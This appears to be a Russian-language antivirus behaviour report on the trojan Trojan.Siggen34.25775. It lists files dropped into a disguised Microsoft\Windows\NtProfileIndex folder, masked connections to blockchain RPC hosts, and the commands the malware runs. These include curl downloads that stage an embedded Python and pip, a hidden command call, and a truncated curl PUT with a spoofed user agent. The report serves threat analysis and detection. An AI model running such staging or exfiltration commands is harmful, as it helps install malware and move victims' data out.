Trojan.Siggen34.25775

Техническая информация

Изменения в файловой системе

Создает следующие файлы

%TEMP%\5de74889\launcher_2.exe
%TEMP%\5de74889\bbstrapmacro.exe
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\python.zip.downloading
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\python.exe
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\pythonw.exe
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\python312.dll
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\python3.dll
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\vcruntime140.dll
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\vcruntime140_1.dll
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\license.txt
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\pyexpat.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\select.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\unicodedata.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\winsound.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_asyncio.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_bz2.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_ctypes.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_decimal.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_elementtree.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_hashlib.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_lzma.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_msi.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_multiprocessing.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_overlapped.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_queue.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_socket.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_sqlite3.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_ssl.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_uuid.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_wmi.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\_zoneinfo.pyd
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\libcrypto-3.dll
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\libffi-8.dll
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\libssl-3.dll
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\sqlite3.dll
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\python312.zip
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\python312._pth
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\python.cat
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\get-pip.py
%TEMP%\wfm3vwng
%TEMP%\tmprgu5i9le\pip.zip
%TEMP%\tmp0abvz4u_cacert.pem
%TEMP%\tmprgu5i9le\cacert.pem
%TEMP%\tmp4idk9sbh
%LOCALAPPDATA%\pip\cache\http-v2\a\1\9\5\3\a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9azi9ximhe.tmp
%LOCALAPPDATA%\pip\cache\http-v2\a\1\9\5\3\a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9a.bodyx0wayf3a.tmp

Удаляет файлы, которые сам же создал

%LOCALAPPDATA%\microsoft\windows\ntprofileindex\python.zip
%TEMP%\wfm3vwng
%TEMP%\tmprgu5i9le\cacert.pem
%TEMP%\tmp0abvz4u_cacert.pem
%LOCALAPPDATA%\microsoft\windows\ntprofileindex\get-pip.py

Перемещает следующие файлы

%LOCALAPPDATA%\microsoft\windows\ntprofileindex\python.zip.downloading в %LOCALAPPDATA%\microsoft\windows\ntprofileindex\python.zip
%LOCALAPPDATA%\pip\cache\http-v2\a\1\9\5\3\a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9azi9ximhe.tmp в %LOCALAPPDATA%\pip\cache\http-v2\a\1\9\5\3\a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9a
%LOCALAPPDATA%\pip\cache\http-v2\a\1\9\5\3\a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9a.bodyx0wayf3a.tmp в %LOCALAPPDATA%\pip\cache\http-v2\a\1\9\5\3\a19537d3cf37c122db841d6fe4cd322bc10d1a558bb00d146b85cb9a.body

Сетевая активность

Подключается к

'po###on-rpc.com':443
'rp#######et.matic.quiknode.pro':443
'po######public.nodies.app':443
'1r#c.io':443
'ap#.zan.top':443
'en#####ts.omniatech.io':443
'fi###.#ythonhosted.org':443
'bo####rap.pypa.io':443
'py##.org':443

TCP

Другие

'po###on-rpc.com':443
'rp#######et.matic.quiknode.pro':443
'po#######or-rpc.publicnode.com':443
'1r#c.io':443
'ap#.zan.top':443
'en#####ts.omniatech.io':443
'fi###.#ythonhosted.org':443
'bo####rap.pypa.io':443

UDP

DNS ASK po###on-rpc.com
DNS ASK rp#######et.matic.quiknode.pro
DNS ASK po######public.nodies.app
DNS ASK 1r#c.io
DNS ASK po#######or-rpc.publicnode.com
DNS ASK ap#.zan.top
DNS ASK po#####.#pc.subquery.network
DNS ASK en#####ts.omniatech.io
DNS ASK py##on.org
DNS ASK bo####rap.pypa.io
DNS ASK py##.org
DNS ASK fi###.#ythonhosted.org

Другое

Создает и запускает на исполнение

'%TEMP%\5de74889\launcher_2.exe'
'%TEMP%\5de74889\bbstrapmacro.exe'
'%LOCALAPPDATA%\microsoft\windows\ntprofileindex\python.exe' "%LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex\get-pip.py"

Запускает на исполнение

'<SYSTEM32>\curl.exe' "-k" "-L" "-s" "-o" "%LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"
'<SYSTEM32>\tar.exe' "-xf" "%LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex\python.zip" "-C" "%LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex"
'<SYSTEM32>\curl.exe' "-k" "-L" "-s" "-o" "%LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex\get-pip.py" "https://bootstrap.pypa.io/get-pip.py"
'<SYSTEM32>\cmd.exe' /c "ver" (со скрытым окном)
'<SYSTEM32>\curl.exe' "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstre...